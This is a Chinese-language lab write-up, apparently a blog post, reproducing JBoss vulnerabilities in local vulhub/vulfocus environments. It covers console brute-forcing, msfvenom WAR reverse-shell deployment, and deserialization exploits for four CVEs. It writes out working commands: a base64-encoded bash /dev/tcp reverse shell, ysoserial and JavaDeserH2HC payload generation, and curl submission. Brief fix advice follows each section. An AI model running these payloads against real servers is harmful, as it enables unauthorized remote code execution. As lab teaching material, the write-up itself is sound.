Jboss合集漏洞复现
本文最后更新于 2024-09-10,文章内容可能已经过时。
JBoss漏洞合集复现
JBoss
JBoss是一个基于J2EE的开放源代码的应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB 3规范。但是JBoss核心服务不包括支持Servlet/JSP的web容器,一般与Tomcat货jetty绑定使用。在J2EE应用服务器领域,JBoss是发展最为迅速的应用服务器。由于JBoss遵循商业有好的LGPL授权分发,并且由开源社区开发,这使得JBoss广为流行。
JBoss有很多优点,比如说:具有革命性的JMX为内核服务作为其总线结构,本身就是面向服务框架,具有统一的类装载器从而能够实现热部署和热卸载的能力,所以Jboss应用服务器是健壮的、高质量的、也具有良好的性能。2019年JBoss AS 更名为WildFly。
(这个框架比较老了,现在基本不用jboss,这次的漏洞复现原理就不过多深究)
一、JBoss未授权访问漏洞
1、JBoss 6.x JMX Console未授权访问
1.1 环境搭建
服务器:Centos7 (IP: 192.168.91.128) Jboss 6.x
攻击机:kali ( IP:192.168.91.129)
使用vulnlab的CVE-2017-12149漏洞搭建环境:
https://vulhub.org/#/enviroment/jboss/CVE-2017-12149/
进入到下载目录直接执行命令完成搭建
docker-compose up -d
浏览器访问:
点击JMX Console
在这个页面进行burp抓包,输入用户名和密码admin和123456,进行弱口令尝试
抓包的结果不能看到明文密码,这个Basic后面的密文其实就是输入的用户名和密码
使用base64解码后可以查看出明文信息,选中文本(ctrl+shift+b即可解码)
将抓取的内容发送到Intruder爆破模块进行若密码爆破
添加选项,字典等
添加两条规则:
一个固定前缀admin:
一个base64加密
错误的密码返回的是401
可以看到爆破出来了正确的用户名和密码
登录到输入密码正确后的页面
点击服务部署
在这里后续就可以填入payload,即war 木马进行利用
1.2 生成war 木马
kali:在msf里边生成war木马
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.91.129 LPORT=4444 -f war > shell.war
使用kali开启http服务
python3 -m http.server 80
开启msf监听反弹shell
use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set LHOST 192.168.91.129
set LPORT 4444
exploit
1.3 上传木马
因为是模拟未授权访问,所以使用密码先登录就可以了,密码是admin/vulhub
平时就存储在/server/default/conf/props/jbossws-users.properties文件下
登陆进来选择service=MainDeployer
下边选择两个deploy的里边任意一个就可以了,输入开启的web服务对应的war木马文件,也就是http://192.168.91.129/shell.war
就上传成功了,开启kali监听然后浏览器访问目标就可以了,war里边的文件名是kali随机生成的
http://192.168.91.128:50732/shell/vbaulfplhl.jsp
kali可以看到连接上来的目标服务器
第一个漏洞复现完毕
2.JBoss Administration Console未授权访问
2.1 环境搭建
服务器:CentOS7(IP:192.168.17.102)Jboss 6.x
攻击机:kali(IP:192.168.17.15)
使用vulhub的CVE-2017-12149漏洞环境
https://vulhub.org/#/environments/jboss/CVE-2017-12149/
进入到下载目录直接执行命令完成搭建
docker-compose up -d
访问目标网站即可
2.2 上传木马
选择第一个Administration Console进去,因为是未授权访问所以输入一下账号和密码admin/vulhub
登录到登陆界面,找到下边的Web Application(WAR)s
可以看到上传war包,上传的时候保证这里是开启的
上传后点击Continue也是直接上传访问,war木马直接利用之前第一个漏洞生成的,改个名字即可
http://192.168.17.102:8080/shell/
kali用之前第一个漏洞监听的msf,浏览器访问url就可以反弹连接到kali
二、JBoss反序列化漏洞
1.使用的反序列化工具
1.JavaDeserH2HC
https://github.com/joaomatosf/JavaDeserH2HC
2.ysoserial
https://github.com/frohoff/ysoserial
3.Deserialize
https://github.com/s0k/Deserialize
4.jexboss
https://github.com/joaomatosf/jexboss
这几个工具都可以用来生成反序列化的数据,在下面的反序列化漏洞中都是
ReadObject()触发反序列化漏洞,所以都可以使用cc5链进行利用。
2.反序列化的原理
前边已经分析过几条cc链的具体使用原理,我们就直接略过中间分析的部分,直接找到分序列化的入口点即可。
2.1 cve-2015-7501
此漏洞主要是由于JBoss中invoker/JMXInvokerServlet路径对外开放,由于JBoss的jmx组件支持Java反序列化,并且在反序列化过程中没有加入有效的安全检测机制,导致攻击者可以传入精心构造好的恶意序列化数据,在jmx对其进行反序列化处理时,导致传入的携带恶意代码的序列化数据执行,造成反序列化漏洞。
2.2cve-2017-7504
CVE-2017-7504出现在/jbossmq-httpil/HTTPServerILServlet路径下,和cve-2015-7501一样,在反序列化的过程中没有加入有效的安全检测机制使攻击代码可以通过反序列化的方式执行。
2.3 cve-2017-12149
此漏洞主要是由于jbossserveralldeployhttpha-invoker.sarinvoker.warWEB-INFclassesorgjbossinvocationhttpservlet目录下的ReadOnlyAccessFilter.class文件中的doFilter方法,再将序列化传入ois中,并没有进行过滤便调用了readObject()进行反序列化,导致传入的携带恶意代码的序列化数据执行.
2.4 cve-2013-4810
此漏洞和CVE-2015-7501漏洞原理相同,web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation进行反序列化并上传构造的文件。
3.JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
3.1 环境搭建
服务器:CentOS7(IP:192.168.17.102)Jboss 4.x
攻击机:kali(IP:192.168.17.15)
使用vulhub的CVE-2017-7504漏洞环境
https://vulhub.org/#/environments/jboss/CVE-2017-7504/
进入到下载目录直接执行命令完成搭建
docker-compose up -d
访问目标网站即可
3.2 漏洞测试
访问下边网站
http://192.168.91.128:42867/jbossmq-httpil/HTTPServerILServlet
看到显示如下说明漏洞存在
3.3使用ysoserial生成payload
构造反弹shell命令
bash -i >& /dev/tcp/192.168.91.129/7777 0>&1
base64加密
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkxLjEyOS83Nzc3IDA+JjE=
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkxLjEyOS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}
生成反序列化payload(注意这里的java环境需要jdk1.8)
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkxLjEyOS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}" > hack.ser
使用curl上传内容
curl http://192.168.91.128:42867/jbossmq-httpil/HTTPServerILServlet --data-binary @hack.ser
在kali 监听7777即可获取反弹shell
3.4 使用JavaDeserH2HC生成payload
1.编译class文件
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
2.生成反序列化payload
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.91.129:7777
3.curl 提交payload
curl http://192.168.91.128:42867/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
kali监听7777端口即可反弹回shell
3.5 修复建议
因为这类的反序列化都依赖于InvokerTransformer
类。如果用户在正常业务中不使用此类,可以将此类移除。方法为使用Winzip打开jar文件,在org/apache/commons/collections/functors/InvokerTransformer.class
删除该文件。
或者升级JBoss到最新版本。
4.Jboos cve-2015-7501漏洞复现
4.1环境搭建
服务器:CentOS7(IP:192.168.91.128)Jboss 6.x
攻击机:kali(IP:192.168.91.129)
访问目标网站即可
4.2 漏洞测试
访问下边的网站
http://192.168.91.128:30499/invoker/JMXInvokerServlet
出现下载界面说明漏洞存在
4.3 使用JavaDeserH2HC生成payload
同上,生成payload提交即可
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.91.129:7777
curl http://192.168.91.128:30499/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
kali监听收到反弹shell
4.4 修复建议
因为这类的反序列化都依赖于InvokerTransformer
类。如果用户在正常业务中不使用此类,可以将此类移除。方法为使用Winzip打开jar文件,在org/apache/commons/collections/functors/InvokerTransformer.class
删除该文件。
或者升级JBoss到最新版本。
5.JBoss 5.x/6.x反序列化(cve-2017-12149)
5.1 环境搭建
服务器:CentOS7(IP:192.168.17.102)Jboss 6.x
攻击机:kali(IP:192.168.17.15)
使用vulfocus的CVE-2017-12149漏洞环境
访问目标网站即可
5.2 漏洞测试
漏洞出现在http invoker组件里边的ReadOnlyAccessFilter
,访问
http://192.168.17.102:8080/invoker/readonly
出现界面如下说明漏洞存在
5.3 使用JavaDeserH2HC生成payload
同上,生成payload提交即可
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.91.129:7777
curl http://192.168.91.128:45526/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
使用kali监听收到反弹shell
5.4 修复建议
删除http-invoker.sar
组件,路径如下jboss-6.1.0.Final\server\default\deploy\http-invoker.sar
或者升级JBoss到最新版本。
6.JBoss EJBInvokerServlet反序列化(cve-2013-4810)
6.1环境搭建
服务器:CentOS7(IP:192.168.17.102)Jboss 6.x
攻击机:kali(IP:192.168.17.15)
使用vulfocus的CVE-2017-12149漏洞环境
访问目标网站即可
6.2 漏洞测试
访问
http://192.168.91.128:63607/invoker/EJBInvokerServlet
出现下载说明漏洞存在
6.3 使用JavaDeserH2HC生成payload
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.91.129:7777
curl http://192.168.91.128:63607/invoker/EJBInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
使用kali监听得到反弹shell
6.4 修复建议
因为这类的反序列化都依赖于InvokerTransformer
类。如果用户在正常业务中不使用此类,可以将此类移除。方法为使用Winzip打开jar文件,在org/apache/commons/collections/functors/InvokerTransformer.class
删除该文件。
或者升级JBoss到最新版本。
- 感谢你赐予我前进的力量